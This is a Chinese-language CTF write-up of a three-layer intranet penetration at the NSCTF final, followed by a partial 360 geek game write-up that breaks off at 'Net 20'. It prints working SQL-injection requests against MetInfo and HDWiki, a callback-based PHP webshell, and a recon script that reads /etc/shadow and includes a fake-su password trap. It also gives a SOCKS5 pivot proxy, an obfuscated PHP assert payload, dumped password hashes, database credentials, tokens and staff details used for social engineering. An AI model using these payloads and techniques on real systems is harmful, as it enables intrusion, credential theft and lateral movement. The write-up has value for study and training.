nsctf线下决赛WRITEUP

nsctf final writeup

TEAM:DUTSEC-F4nt45i4 MEMBER:kow wuyihao

WEBSITE:http://blow.dutsec.cn/

这次比赛中一共有三层(两层内网),需要利用每层web主机中的漏洞逐层渗透

第一层

  • 靶机1
    通过扫描器扫描发现源码包:http://10.0.0.2/phpshe.tar.gz
    下载下来之后与同版本的phpshe源码diff了一下后,从中直接发现了flag。
    user/order.php中存在注入,在管理的提示下也没找到并利用(挖洞能力要加强)
  • 靶机2
    发现是metinfo的站,利用wooyun上的洞:
    http://www.wooyun.org/bugs/wooyun-2015-0134479
    前台访问:/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--
    直接修改管理员密码为1234567
    成功进入后台,在后台用户管理的地方,某个用户的名字是第一个flag
    然后是后台拿shell,同样利用上面的洞,上传.zip 文件会自动解压,不过有过滤,但是是 采用黑名单方式,用回调函数可以轻易绕过 如下面的一句话
<?
    php $e = $_REQUEST['e']; 
    $arr = array($_REQUEST['pass'],); 
    array_filter($arr, base64_decode($e)); 
?> 

接下来是利用 把上面的码写进test.php文件里压缩为test.zip格式 在后台找个能上传的的地方上传, 修改参数 type=skin 上传成功后在/templates目录下生成 test.php
菜刀里添加:http://172.0.0.100/hdwiki/test.php?e=YXNzZXJ0 密码为pass
在/home/user/flag文件中获得靶机中第二个flag

拿到shell后,收集了该主机上的一些信息:
数据库配置信息:

<?php
                   /*
                   con_db_host = "localhost"
                   con_db_id   = "root"
                   con_db_pass  = "yNeHc5jD"
                   con_db_name = "metinfo"
                   tablepre    =  "met_"
                   db_charset  =  "utf8";
                  */
                  ?>
#####Get linux kernel version#####
Linux nsctfweb 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

#####Get linux press version#####
Ubuntu 14.04.3 LTS \n \l

尝试mysql root提权失败,内核版本较新,暂无公开的提权exp,也没有发现可以利用的服务或者进程
读取了hash文件:

root:$6$mz1WNkcl$mSc25vLI6L4Am60h7CcsqAYSEnJ7MNL9QCDMhsfPjtxu86noSb6V1ucq46d2ThqWP1UxdFVPBhUJjbydtcilA0:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:*:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:!:100:101::/var/lib/libuuid:
syslog:*:101:104::/home/syslog:/bin/false
mysql:!:102:106:MySQL Server,,,:/nonexistent:/bin/false
messagebus:*:103:107::/var/run/dbus:/bin/false
landscape:*:104:110::/var/lib/landscape:/bin/false
sshd:*:105:65534::/var/run/sshd:/usr/sbin/nologin
user:$6$lJYjFxQn$ejSVlUvIIGeV0aSNwEd/neAUoFeyrYq5P1QYIsxNIz8mm3XolX8HjIM6w4h76PLFRgWwTO0whzLJZRTbZIgBn.:1000:1000:user,,,:/home/user:/bin/bash

尝试破解未果
ifconfig时发现有多张网卡,应该存在内网:

#####Get localhost ip and interface information#####
eth0      Link encap:Ethernet  HWaddr 6c:b0:13:93:fb:02  
          inet addr:172.0.0.1  Bcast:172.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::6eb0:13ff:fe93:fb02/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:360 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2281 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:23380 (23.3 KB)  TX bytes:104434 (104.4 KB)

eth1      Link encap:Ethernet  HWaddr 6c:b0:13:93:fb:01  
          inet addr:10.0.0.3  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::6eb0:13ff:fe93:fb01/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:21021 errors:0 dropped:0 overruns:0 frame:0
          TX packets:8331 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:2922638 (2.9 MB)  TX bytes:4434510 (4.4 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:20245 errors:0 dropped:0 overruns:0 frame:0
          TX packets:20245 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1816426 (1.8 MB)  TX bytes:1816426 (1.8 MB)

第二层

首先在靶机2上使用下面扫描内网信息的脚本:

#!/usr/bin/python
# -*- coding: cp936 -*-
#coding:utf-8
import os
import getpass
import time
import socket
import re
'''for portscan'''
from threading import Thread
from Queue import Queue
import platform
import types
from subprocess import Popen, PIPE
'''for dns'''
import struct
import sys


class InScaner:
    def __init__(self,domain):
        self.NUM = 200
        self._re_IP = r'\d+\.\d+\.\d+\.\d+'
        self._re_startwithIP = r'^\d+\.\d+\.\d+\.\d+.*'
        self._re_network = r'^\d+\.\d+\.\d+'
        self.re_ip = re.compile(self._re_IP)
        self.re_startwithIP = re.compile(self._re_startwithIP)
        self.re_network = re.compile(self._re_network)
        self.host_ip = socket.gethostbyname(socket.gethostname())
        self.domain = domain
        self.path=os.getcwd()
        self.host_hostname = ''#os.popen('hostname').read()
        self.host_id = ''#os.popen('id').read()
        self.host_userlist=[]
        self.host_useronline=''
        self.host_last=''
        self.host_systemId = ''#os.popen('uname -a').read()
        self.host_systemversion = ''
        self.host_shadow = ''
        self.host_issue = ''
        self.host_bash_history = []
        self.host_services = '' #未进行识别
        self.host_ESTABLISHEDlink = ''
        self.host_hackCmd = []
        self.host_complie = []
        
        self.dns=[]
        #self.dns=['58.83.193.214']
        self.etc_hosts=[]
        self.ifconfig=''
        self.arp=''
        self.route=''
        self.inerwww=''
        self.internetout=''
        self.keyip=[]
        self.keyipmaybe=[]
        self.networkmaybe=[]
        self.network = []#192.168.1.0格式
        self.q = Queue()
        self.s = Queue()
        self.networkIPlistA = []
        self.portlist = [21,22,23,25,80,81,443,1433,1521,3306,3398,5800,5900,5901,5902,6379,7001,7002,7070,8080,8081,8181,8888,9090,9200,27017,28018]
        self.networkIP_portOpen={}
        self.networkIP_weakPass={}
  
    def HostInfoGet(self):
        print '###################Get localhost information####################'
        print '#####localhost IP####'
        print self.host_ip+'\n'
        
        _hostcmdList = [
                        'hostname',#主机名
                        'id',      #用户id
                        '''
                        cat /etc/passwd|grep -v nologin|grep -v halt|grep -v shutdown|awk -F":" '{ print $1"|"$3"|"$4}'
                        ''',
                        'w',
                        'last',
                        'uname -a',
                        'cat /etc/issue',
                        ]
        
        print '#####Get hostname#####'
        self.host_hostname = os.popen(_hostcmdList[0]).read()
        print self.host_hostname
        
        print '#####Get current user#####'
        self.host_id = os.popen(_hostcmdList[1]).read()
        print self.host_id
        
        print '#####Get users informaintion#####'
        userlist = os.popen(_hostcmdList[2]).read()
        self.host_userlist = userlist.split('\n')
        print userlist
        
        print '#####Get online users list#####'
        self.host_useronline = os.popen(_hostcmdList[3]).read()
        print self.host_useronline
        
        print '#####Get users login history#####'
        self.host_last = os.popen(_hostcmdList[4]).read()
        print self.host_last
        
        print '#####Get linux kernel version#####'
        self.host_systemId = os.popen(_hostcmdList[5]).read()
        print self.host_systemId   
        
        print '#####Get linux press version#####'
        self.host_systemversion = os.popen(_hostcmdList[6]).read()
        print self.host_systemversion      
        
        print '#####Get import local files#####'

        _hostfileList = [
                        'cat /etc/shadow',
                        'cat ~/.bash_history',
                        'cat /root/.bash_history'
                        ]        
        print '#####Get shadow#####'
        self.host_shadow = os.popen(_hostfileList[0]).read()
        print self.host_shadow
        
        print '#####Get bash_history#####'
        self.host_bash_history.append(os.popen(_hostfileList[1]).read())
        self.host_bash_history.append(os.popen(_hostfileList[2]).read())
        print '###Get too much###'

            
        _servicecmdlist = [
                           'netstat -antlp',
                           '''
                           netstat -antlp | grep 'ESTABLISHED'
                           '''
                           ]
        print '#####Get system services and listening Port#####'
        self.host_services = os.popen(_servicecmdlist[0]).read()
        print self.host_services
        
        print '#####Get network ESTABLISHED#####'
        self.host_ESTABLISHEDlink = os.popen(_servicecmdlist[1]).read()
        print self.host_ESTABLISHEDlink
        
        print '#####Get cmd can be used#####'
        _host_hackSoft = [
                         'nmap',
                         'nc',
                         'netcat',
                         'wget',
                         'tcpdump',
                         'wireshark',
                         'rpm',
                         'yum',
                         'apt-get',
                         'ftp',
                         'ssh',
                         'telnet',
                         'scp',
                         'nslookup'
                         ]
        
        for cmd in _host_hackSoft:
            typecmd = 'type '+cmd+' >/dev/null'
            try:
                out = os.system(typecmd)
                if 0 == out:
                    self.host_hackCmd.append(cmd)
                    print '%s is ok' % cmd
            except:
                print '%s is unused' % cmd
        print '###################Get localhost information finished####################\n'
            
            
            
                
    def mgFileGet(self):
        print '##########获取口令密码文件中。。。。。。##########'
        
        print 'PHP'
        
        print 'tomcat'
        
        
        print 'apache'
        
        print 'struts'
        
        print 'jboss'
        
        print 'weblogic'
        
        print 'ftp'
        
        print 'ssh'
        
        print 'vnc'
        
        print 'mysql'
        
        print 'oracle'
        
        print 'search'
        
        pass
    
 
    def NetworkInfoGet(self):
        print '####################Get network information####################'
        _netfileListCat = [
                        'cat /etc/hosts',
                        'cat /etc/resolv.conf',
                        ]
            
        print '######Get DNS server IP#####'
        self.dns = self.re_ip.findall(os.popen(_netfileListCat[1]).read())
        for dns in self.dns:
            print dns
        
        print '#####Get /etc/hosts list#####'
        hosts = os.popen(_netfileListCat[0]).read().split('\n')
        for host in hosts:
            #print host
            _host=self.re_startwithIP.findall(host)
            if _host!=[]:
                self.etc_hosts += _host
        for host in self.etc_hosts:
            print host
            
        _netcmdList = [
                     'ifconfig -a',
                     'arp -a',
                     'route -n',
                     'ping %s -c 2' % self.domain,
                     'ping 114.114.114.114 -c 2'

                     ]
        
        print '#####Get localhost ip and interface information#####'
        self.ifconfig = os.popen(_netcmdList[0]).read()
        print self.ifconfig
        
        print '#####Get arp list#####'
        self.arp = os.popen(_netcmdList[1]).read()
        print self.arp
        
        print '#####Get route information#####'
        self.route = os.popen(_netcmdList[2]).read()
        print self.route
        
        print '#####Get innerDNSresolve test#####'
        self.inerwww = os.popen(_netcmdList[3]).read()
        print self.inerwww
        
        print '#####Can search the Internet or not#####'
        self.internetout = os.popen(_netcmdList[4]).read()
        print self.internetout

            
        print '#####DNS test#####'
        if self.dns == []:
            print 'sorry,we  have no the dns ip'
        else:
            for dnsip in self.dns:
                print '###dns %s results###' % dnsip
                try:
                    self.GetDomainList(dnsip,self.domain)
                except:
                    print '##dns test failed##'
        #获取DNS域传送信息
        print '#####Network exist#####'
        #先收集所有结果中的IP地址,去掉排除的ip地址后,把ip地址转换为网段,之后去重,最后保存
        ip = []
        keyip = []
        keyipmaybe =[]
        network = []
        keynetwork = []
        keynetworkmaybe = []
        
        _ex_ip =[
                 '127.0.0.1',
                 '0.0.0.0',
                 '255.255.255.255',
                 '255.255.255.0',
                 '255.255.0.0',
                 '255.0.0.0',
                 '127.0.1.1',
                 '8.8.8.8',
                 '114.114.114.114'
                 ]
        
        _iplistsearch = [
                           self.host_useronline,
                           self.host_last,
                           self.host_services,
                           self.host_ESTABLISHEDlink,
                           self.dns,
                           self.etc_hosts,
                           self.ifconfig,
                           self.arp,
                           self.route,
                           self.inerwww
                           ]
          
        _iplistsearchmaybe = [
                              self.host_bash_history
                              ]
      
        
        
        
        for text in _iplistsearchmaybe:
            if type(text) == type('1'):
                ip+=self.__getIPinStr(text)
            elif type(text) == type(['1']):
                for text2 in text:
                    ip+=self.__getIPinStr(text2)
        [keyipmaybe.append(ipnew) for ipnew in ip if ipnew not in (keyipmaybe+_ex_ip)]#ip地址处理
        self.keyipmaybe = keyipmaybe
        
        #变量中的IP并去重,去无效IP
        ip = []
        for text in _iplistsearch:
            if type(text) == type('1'):
                ip+=self.__getIPinStr(text)
            elif type(text) == type(['1']):
                for text2 in text:
                    ip+=self.__getIPinStr(text2)
        [keyip.append(ipnew) for ipnew in ip if ipnew not in (keyip+_ex_ip)]#ip地址处理
        #将IP地址转换为网段,并去重
        self.keyip = keyip
        
        _ex_network =[
                 '127.0.0.0'
                 ]
        
        for netip in self.keyipmaybe:
            network.append(self.__ip2network(netip))
            [keynetworkmaybe.append(net) for net in network if net not in keynetworkmaybe+_ex_network]
            
        network = []
        for netip in self.keyip:
            network.append(self.__ip2network(netip))
            [keynetwork.append(net) for net in network if net not in keynetwork+_ex_network]
        #筛选出私有IP地址
        _privatNet = [
                      '172',
                      '192',
                      '10'
                      ]
        print "network may exist:"
        for net in keynetworkmaybe:
            netsplit = net.split('.')
            if netsplit[0] in _privatNet:
                print net
                self.networkmaybe.append(net)
            
        print "network exists ensure:"
        for net in keynetwork:
            netsplit = net.split('.')
            if netsplit[0] in _privatNet:
                print net
                self.network.append(net)
            
    
    def __ip2network(self,ip):
        return self.re_network.findall(ip)[0]+'.0'
        
    def __getIPinStr(self,string):
        ip = self.re_ip.findall(string)
        return ip
    
        __LEN_QUERY = 0    # Length of Query String
    def __gen_query(self,domain):
        import random
        TRANS_ID = random.randint(1, 65535)       # random ID
        FLAGS = 0; QDCOUNT = 1; ANCOUNT = 0; NSCOUNT = 0; ARCOUNT = 0
        data = struct.pack(
            '!HHHHHH',
            TRANS_ID, FLAGS,QDCOUNT, ANCOUNT, NSCOUNT, ARCOUNT
            )
        query = ''
        for label in domain.strip().split('.'):
            query += struct.pack('!B', len(label)) + label.lower()
        query += '\x00'    # end of domain name
        data += query
        global __LEN_QUERY
        __LEN_QUERY = len(query)    # length of query section
        q_type = 252    # Type AXFR = 252
        q_class = 1    # CLASS IN
        data += struct.pack('!HH', q_type, q_class)
        data = struct.pack('!H', len(data) ) + data    # first 2 bytes should be length
        return data
    
    
    __OFFvSET = 0    # Response Data offset
    __TYPES = {1: 'A', 2: 'NS', 5: 'CNAME', 6: 'SOA',
             12: 'PTR', 15: 'MX', 16: 'TXT',
             28: 'AAAA', 38: 'A6', 99: 'SPF',}
    
    def __decode(self,response):
        RCODE = struct.unpack('!H',response[2:4])[0] & 0b00001111
        if RCODE != 0:
            print 'Transfer Failed. %>_<%'
            sys.exit(-1)
        anwser_rrs = struct.unpack('!H', response[6:8] )[0]
        print '<< %d records in total >>' % anwser_rrs
        global __LEN_QUERY, __OFFSET
        __OFFSET = 12 + __LEN_QUERY + 4    # header = 12, type + class = 4
        while __OFFSET < len(response):
            name_offset = response[__OFFSET: __OFFSET + 2]    # 2 bytes
            name_offset = struct.unpack('!H', name_offset)[0]
            if name_offset > 0b1100000000000000:
                name = self.__get_name(response, name_offset - 0b1100000000000000, True)
            else:
                name = self.__get_name(response, __OFFSET)
            type = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
            type = self.__TYPES.get(type, '')
            if type != 'A': print name.ljust(20), type.ljust(10)
            __OFFSET += 8    # type: 2 bytes, class: 2bytes, time to live: 4 bytes
            data_length = struct.unpack('!H', response[__OFFSET: __OFFSET+2] )[0]
            if data_length == 4 and type == 'A':
                ip = [str(num) for num in struct.unpack('!BBBB', response[__OFFSET+2: __OFFSET+6] ) ]
                print name.ljust(20), type.ljust(10), '.'.join(ip)
            __OFFSET += 2 + data_length
         
    # is_pointer: an name offset or not        
    def __get_name(self,response, name_offset, is_pointer=False):
        global __OFFSET
        labels = []
        while True:
            num = struct.unpack('B', response[name_offset])[0]
            if num == 0 or num > 128: break    # end with 0b00000000 or 0b1???????
            labels.append( response[name_offset + 1: name_offset + 1 + num] )
            name_offset += 1 + num
            if not is_pointer: __OFFSET += 1 + num
        name = '.'.join(labels)
        __OFFSET += 2    # 0x00
        return name
        
    def GetDomainList(self,dnsip,domain):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect( (dnsip, 53) )
        data = self.__gen_query(domain)
        s.send(data)
        s.settimeout(2.0)    # In case recv() blocked
        response = s.recv(4096)
        res_len = struct.unpack('!H', response[:2])[0]    # Response Content Length
        while len(response) < res_len:
            response += s.recv(4096)
        s.close()
        self.__decode(response[2:])
        
    def _ip2int(self,ip):
        return sum([256**j*int(i) for j,i in enumerate(ip.split('.')[::-1])])
    
    def _int2ip(self,intip):
        return '.'.join([str(intip/(256**i)%256) for i in range(3,-1,-1)])
    
    def __pingScan(self):
        while True:
            ip = self.q.get()
            if platform.system() == 'Linux':
                p = Popen(['ping','-c 2',ip],stdout=PIPE)
                m = re.search('ttl=', p.stdout.read())
                if m!=0:
                    self.networkIPlistA.append(ip)
            if platform.system()=='Windows':
                p = Popen('ping -n 2 ' + ip, stdout=PIPE)
                m = re.search('TTL=', p.stdout.read())
                if m:
                    self.networkIPlistA.append(ip)
            self.q.task_done()
        
    def __portScan(self):
        while True:
            scan = self.s.get() 
            portConnect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            portConnect.settimeout(100)
            try:
                portConnect.connect((scan[0],scan[1]))
                portConnect.close()
                self.networkIP_portOpen[scan[0]] += str(scan[1]) + ','
                #print self.networkIP_portOpen
            except Exception:
                pass
                #print e
            self.s.task_done()
            
    def PortScan(self):
        print '##########Start port scanning.....#########'
        print '###ip alive:###'
        if self.network == []:
            print '!!!!sorry,IP is NULL !!!!!'
        else:
            #得到要ping的ip列表:
            _pinglist = []
            for network in self.network:
                for i in range(1,255):
                    _pinglist.append(self._int2ip(self._ip2int(network)+i))
        
            #开始执行
            for i  in range(self.NUM):
                self.t = Thread(target = self.__pingScan)
                self.t.setDaemon(True)
                self.t.start()
                
            for ip in _pinglist:
                self.q.put(ip)
            self.q.join()
            #打印扫描存活IP列表结果,并给端口开发字典赋值
            for ip in self.networkIPlistA:
                self.networkIP_portOpen[ip]=''
                print ip
            
            print '###Port opening list...###'
            _scanlist = []
            for ip in self.networkIPlistA:
                for port in self.portlist:
                    _scanlist.append([ip,port])
            for i  in range(self.NUM):
                self.t2 = Thread(target = self.__portScan)
                self.t2.setDaemon(True)
                self.t2.start()
                
            for scan in _scanlist:
                self.s.put(scan)
            self.s.join()
            
            #print self.networkIP_portOpen
            #打印端口扫描结果:
            for ip in self.networkIPlistA:
                portlist = self.networkIP_portOpen[ip].split(',')
                #print portlist
                for port in portlist:
                    if port != '':
                        print '%s:%s' % (ip,port)
        #先ping,后直接进行TCP连接扫描
        print '##########Port scan finished##########'
        print '####################网络信息获取结束####################\n'
        
    def PassScan(self,hostsIP,service,port,username,password):
        #支持ssh、telnet、ftp、mysql、oralce
        print '##########Weak password scanning##########'
        return 
    
    def GetRootPass(self): #测试用用不知道好不好用
        _file = open('~/.bashrc','a')
        _file.write("alias su=\’%s+/root.py\'") % self.path
        _file.close()
        
        current_time = time.strftime("%Y-%m-%d %H:%M")  
        _logfile="%s+.su.log" % self.path              #密码获取后记录在这里  
        #CentOS                  
        #fail_str = "su: incorrect password"  
        #Ubuntu               
        #fail_str = "su: Authentication failure"  
        #For Linux Korea                    #centos,ubuntu,korea 切换root用户失败提示不一样  
        fail_str = "su: incorrect password" 
        try:  
            passwd = getpass.getpass(prompt='Password: ');
            _file = open(_logfile,'a').write("[%s]t%s"%(passwd, current_time))#截取root密码  
            _file.write('\n')
            _file.close()
            
        except:
            pass
        
        time.sleep(1)
        print fail_str                               #打印切换root失败提示
        pass
    
    def Runall(self):
        pass
    
    
if __name__ == '__main__':
    out=InScaner('ocellus.biz')
    out.HostInfoGet()
    out.NetworkInfoGet()
    out.PortScan()
    print '###########InScan finished###########'

扫描内网信息后,发现:

###Port opening list...###
172.0.0.2:22
172.0.0.2:80
172.0.0.1:22
172.0.0.1:80
172.0.0.100:22
172.0.0.100:80
10.0.0.2:22
10.0.0.2:80
10.0.0.3:80
10.0.0.3:22
##########Port scan finished##########

有内网主机172.0.0.100,开放了22和80端口
用python在webshell中开sock5代理:

import socket, sys, select, SocketServer, struct, time  
  
class ThreadingTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): pass  
class Socks5Server(SocketServer.StreamRequestHandler):  
    def handle_tcp(self, sock, remote):  
        fdset = [sock, remote]  
        while True:  
            r, w, e = select.select(fdset, [], [])  
            if sock in r:  
                if remote.send(sock.recv(4096)) <= 0: break  
            if remote in r:  
                if sock.send(remote.recv(4096)) <= 0: break  
    def handle(self):  
        try:  
            print 'socks connection from ', self.client_address  
            sock = self.connection  
            # 1. Version  
            sock.recv(262)  
            sock.send(b"\x05\x00");  
            # 2. Request  
            data = self.rfile.read(4)  
            mode = ord(data[1])  
            addrtype = ord(data[3])  
            if addrtype == 1:       # IPv4  
                addr = socket.inet_ntoa(self.rfile.read(4))  
            elif addrtype == 3:     # Domain name  
                addr = self.rfile.read(ord(sock.recv(1)[0]))  
            port = struct.unpack('>H', self.rfile.read(2))  
            reply = b"\x05\x00\x00\x01"  
            try:  
                if mode == 1:  # 1. Tcp connect  
                    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
                    remote.connect((addr, port[0]))  
                    print 'Tcp connect to', addr, port[0]  
                else:  
                    reply = b"\x05\x07\x00\x01" # Command not supported  
                local = remote.getsockname()  
                reply += socket.inet_aton(local[0]) + struct.pack(">H", local[1])  
            except socket.error:  
                # Connection refused  
                reply = '\x05\x05\x00\x01\x00\x00\x00\x00\x00\x00'  
            sock.send(reply)  
            # 3. Transfering  
            if reply[1] == '\x00':  # Success  
                if mode == 1:    # 1. Tcp connect  
                    self.handle_tcp(sock, remote)  
        except socket.error:  
            print 'socket error'  
def main():  
    server = ThreadingTCPServer(('', 1080), Socks5Server)  
    server.serve_forever()  
if __name__ == '__main__':  
    main()  

浏览器配置10.0.0.3:8080的sock5代理,然后访问172.0.0.100,发现是hdwiki的站,利用:
http://www.wooyun.org/bugs/wooyun-2014-088004

POST /dan/hdwiki/index.php?doc-create HTTP/1.1

Host: web

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://web/dan/hdwiki/index.php?doc-create

Cookie: ECS[visit_times]=6; themeIndexTom=2; KT-GUID=KT-C3DD75C5698EA55255357D6602C6136C; KT-ADMIN=admin; 17cplastvisit=1418373539; 17cplastactivity=0; __utma=242480388.119574638.1418373557.1418373557.1418373557.1; __utmz=242480388.1418373557.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); hd_sid=7YD9xP; hd_auth=b37eKa64aWjTOOSABPRfh3bnxRh50jO7TfArgwNT1RGI1HzWq11B2XSpwCG%2BKaHUwNFm9NRHXZ2nR5JUNbvW

Content-Type: multipart/form-data; boundary=---------------------------41184676334

Content-Length: 1534



-----------------------------41184676334

Content-Disposition: form-data; name="did"



56

-----------------------------41184676334

Content-Disposition: form-data; name="section_id"





-----------------------------41184676334

Content-Disposition: form-data; name="create_submit"



1

-----------------------------41184676334

Content-Disposition: form-data; name="title"



xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\

-----------------------------41184676334

Content-Disposition: form-data; name="category"



3

-----------------------------41184676334

Content-Disposition: form-data; name="content"



<p>asd<br /></p>

-----------------------------41184676334

Content-Disposition: form-data; name="letter"



asd

-----------------------------41184676334

Content-Disposition: form-data; name="tags"



,concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#

-----------------------------41184676334

Content-Disposition: form-data; name="code"





-----------------------------41184676334

Content-Disposition: form-data; name="publishsubmit"



·à2?

-----------------------------41184676334--

Content-Disposition: form-data; name="tags"



,user(),user(),user(),user(),1,1,1,1,1,1,1)#

-----------------------------491299511942

Content-Disposition: form-data; name="code"





-----------------------------491299511942

Content-Disposition: form-data; name="publishsubmit"



·à2?

-----------------------------491299511942--

成功爆出管理员的账号和md5:
webmaster 59cfbd4a7e1b2106d5b346fa8c785e7c(Z5Ez6oy0)
登陆后台,在后台配置的地方找到第一个flag
在后台文件管理的地方成功上传webshell,同样在/home/user/flag文件中获得第二个flag
使用上面的扫描脚本,发现还有第三层内网,同时管理员提示hdwiki的作用,从wiki中收集了部分员工的信息:

叶良辰为我司测试工程师,负责cmseasy及zentaopms的项目测试工作,工号为8899,电话15023984789.  
龙傲天是我司网络工程师,负责项目代码管理,擅长svn项目管理,工号5544,生日19890209,电话15099882356    
在微信借口开发是使用TOKEN连接服务器进行通信
TOKEN: 3C58CE5123B98B6577B77158AD264BFC
TOKEN: B89AD56B0CFDF63D3F0DF4AC9CD33AF7

第三层

首先是如何代理进入第三层,我是分别用python在第一层和第二层中搭建sock5代理,然后使用Proxifier这款软件利用第一层的sock5进行全局代理,然后浏览器使用第二层的sock5进行http代理,这样可以成功访问第三层的主机

第三层中存在多个主机,三台web主机(cmseazy 禅道CMS 和一台svn服务器)还有两台windows主机(管理员赛后提示的,比赛的时候并未扫出来,上面有两题pwn)
首先禅道cms是一个项目管理系统,里面应该有大量的代码,但是网上没有公开的前台的可以利用的洞,经过管理员提示,利用第二层中收集的信息社工进入后台,由于时间较紧最后还在管理员的提示下破解了一个账号密码进入了禅道cms里面:
账号:yeliangchen 密码:ylc8899

后面由于时间来不及了,未能继续下去(主要还是经验不足,前面收集信息和利用exp打站的时候浪费了太多时间)

写在最后

这次的决赛题打的特别爽,感觉像是一次完成的渗透过程,在此也感谢下xfkxfk大牛出的题。

360 geek game 2015 writeup

Writeup 360ctf

TEAM: DUTSEC F4nt45i4


Encrypt 10

根据提示是键盘,于是把每个字符对应到键盘上,根据形状推出字符,和去年的0ctf的题一样

Encrypt 20

改shell.php中的代码为:

<?php
echo(gzinflate(base64_decode("pZLdSsNAEIXvBd+hTmOzMXTbFC3UGhtFEANWlLZES5OgvauoIFho2jy7s7PJhMSIF5Kbb2fPzs+Z7O8ZiYAmhLAFS9bQzhUQIboUPECKiUQDMSFMkYZIZt+U5nFkYijB0Kh0KfCcp+5wlh+6YaO2H9VFbW2BNK8U2iJJoiOk9Pek4q/ZBTwG481T4HeD3mC9vH79en67fb+fjScPM38aOMvL6erEn6xePm+uLj7u1i669I9qAucL4ZSDesQWC9WwHlGxkZRpwW9t1ikrDCRwAE87dtvm7EphlRQd3taC6AwpIjJ4A4XFkhcQ81uhbZcw6EN20a67mHPHxX8Qc+YQP7vyvxQJIHNBa9usUBMcck5d1kNqEVmZl9CDkmNNnsLIFV3IKnsVRT4OOCQJdRNq76Pzbw==")));
?>

获得输出依然是PHP代码:

${("#"^"|").("#"^"|").("#"^"|")}=("_"^"=").("!"^"`").("( "^"{").("~"^";").'6'.'4_'.("{"^"?").("~"^";").("?"^"|").("/"^"`").("{"^"?").("~"^";"); ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~"); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}("YXNzZXJ0X29wdGlvbnMoQVNTRVJUX1dBUk5JTkcsIDApOw==")); ${("#"^"|").("#"^"|")}(${("#"^"|").("#"^"|").("#"^"|")}(("`"^":").("#"^"{").("&"^"|").("("^"@").("_"^"=").("~"^"=").("]"^":").("+"^"@").("|"^"$")."1".("}"^"?").("+"^"{").("|"^")")."1".("}"^"/").("?"^"]").("<"^"_").("$"^"`").("|"^".").("."^"[").("`"^"/").("("^"~")."96".("`"^"-").("("^"~")."96".("["^":").("{"^"?").("`"^".").("^"^"+").("/"^"`").("("^"~")."9".("_"^".").("-"^"`").("}"^"%").("{"^"-").("@"^"&").(")"^"|")."2".("]"^":").("#"^"[").("$"^"|")."0".("/"^"@").("#"^"[").("`"^"-")."10".("^"^"."))); ?>

继续执行发现报错:

Use of undefined constant p4n9_z1_zh3n9_j1u_Sh1_J13

p4n9_z1_zh3n9_j1u_Sh1_J13即为flag。

Encrypt 40

NTU2NJC3ODHHYWJIZ3P4ZWY=只能部分解出来,观察到没有小写字母且字母不算多,于是尝试暴力替换:

import base64
s = 'NTU2NJC3ODHHYWJIZ3P4ZWY='

def dfs(d, t):
    global s
    if d == len(s):
        print(base64.b64decode(t))
    else:
        dfs(d + 1, t + s[d])
        if 'A' <= s[d] <= 'Z':
            dfs(d + 1, t + chr(ord(s[d]) - ord('A') + ord('a')))
dfs(0, '')
a = a + 1

解码后应不包含不可打印字符,于是加个过滤:

with open('out.txt', 'r') as reader:
    for l in reader.readlines():
        if '\\x' not in l:
            print(l)

得到8个满足条件的字符串,依次试一遍就可以。

Net 20

观察返回信息其中一段:

